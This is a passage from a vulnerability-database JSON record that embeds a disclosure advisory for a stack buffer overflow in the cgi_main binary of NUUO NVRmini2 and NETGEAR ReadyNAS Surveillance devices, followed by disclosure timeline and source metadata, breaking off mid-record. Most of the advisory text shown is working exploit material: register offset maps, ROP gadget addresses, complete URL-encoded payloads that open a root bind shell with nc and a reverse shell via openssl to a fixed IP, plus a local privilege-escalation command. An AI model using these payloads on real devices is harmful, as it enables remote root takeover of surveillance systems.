/cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5675"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489"
},
{
"db": "CNVD",
"id": "CNVD-2016-06345"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94494",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94494"
},
{
"db": "VULMON",
"id": "CVE-2016-5675"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5675",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004489",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201608-269",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2016-06345",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "138286",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-94494",
